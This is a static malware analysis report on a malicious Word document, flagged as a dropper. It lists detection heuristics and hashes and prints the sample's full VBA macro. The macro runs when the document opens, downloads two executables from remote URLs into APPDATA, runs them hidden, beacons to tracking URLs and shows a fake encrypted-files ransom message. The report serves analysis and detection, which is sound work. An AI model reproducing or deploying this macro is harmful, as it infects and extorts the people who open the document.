Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ada43ee41f70e327…

MALICIOUS

Office (OOXML)

18.5 KB Created: 2020-09-27 06:45:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-01
MD5: af66b2db61db5d2d6411542ec6ad76c4 SHA-1: 93db9b687e0c2d9c8a47f158a6845adf527bcfc4 SHA-256: ada43ee41f70e327944121217473c536024cd9c90e25088a1a6c5cf895f59fe1
358 Risk Score

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Whitney = Shell(Oskar, 0)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        oStream.Write Lacke.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Lacke = CreateObject("MSXML2.ServerXMLHTTP.6.0")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Oskar = Environ("APPDATA")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://canarytokens.com/traffic/jnk5rpagi54vztro6tau6g1v6/index.html Referenced by macro
    • http://canarytokens.com/traffic/articles/tags/z8yobwprmmopmyfyw8sb1fb0a/index.htmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://notabug.org/arstidar/VARLDVINNA/raw/master/irving.exeReferenced by macro
    • https://notabug.org/arstidar/VARLDVINNA/raw/master/alderson.exeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2368 bytes
SHA-256: 847170164b8df9285c7bf69d3dbf75ec33696f5b02a9579342d96b5f8c833981
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
Oskar = Environ("APPDATA")
Ella = Environ("APPDATA")
Oskar = Oskar + "\Drives"
Ella = Ella + "\Drives"
MkDir (Oskar)
Oskar = Oskar + "\etool.exe"
Ella = Ella + "\ctool.exe"

Dim Lacke As Object
Dim Hakam As String
Hakam = "https://notabug.org/arstidar/VARLDVINNA/raw/master/irving.exe"
Set Lacke = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Lacke.Open "GET", Hakam, False
Lacke.send
If Lacke.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write Lacke.responseBody
    oStream.SaveToFile Ella, 1
    oStream.Close
End If

Dim Staffan As Object
Dim Virginia As String
Virginia = "https://notabug.org/arstidar/VARLDVINNA/raw/master/alderson.exe"
Set Staffan = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Staffan.Open "GET", Virginia, False
Staffan.send
If Staffan.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write Staffan.responseBody
    oStream.SaveToFile Oskar, 1
    oStream.Close
    Dim Whitney
    Whitney = Shell(Oskar, 0)
    If Whitney <> 0 Then
        Dim Burning As Object
        Set Burning = CreateObject("MSXML2.ServerXMLHTTP.6.0")
        Dim Man As String
        Man = "http://canarytokens.com/traffic/jnk5rpagi54vztro6tau6g1v6/index.html"
        Burning.Open "GET", Man, False
        Burning.send
    Else
        Dim Burning2 As Object
        Set Burning2 = CreateObject("MSXML2.ServerXMLHTTP.6.0")
        Dim Man2 As String
        Man2 = "http://canarytokens.com/traffic/articles/tags/z8yobwprmmopmyfyw8sb1fb0a/index.html"
        Burning.Open2 "GET", Man2, False
        Burning2.send
    End If
End If


MsgBox ("Click OK to load document")
Shell (Ella)
MsgBox ("ALERT! Your files are now encrypted. On your Desktop there is a text file called About_Your_Files.txt, read it and follow the instructions. Failure to follow the instructions will result in forever losing access to your important files.")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 8607c991776b50cc6ab16c106badff9f9ee0e7f7c2c053996a4e2bc45ccb623b
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely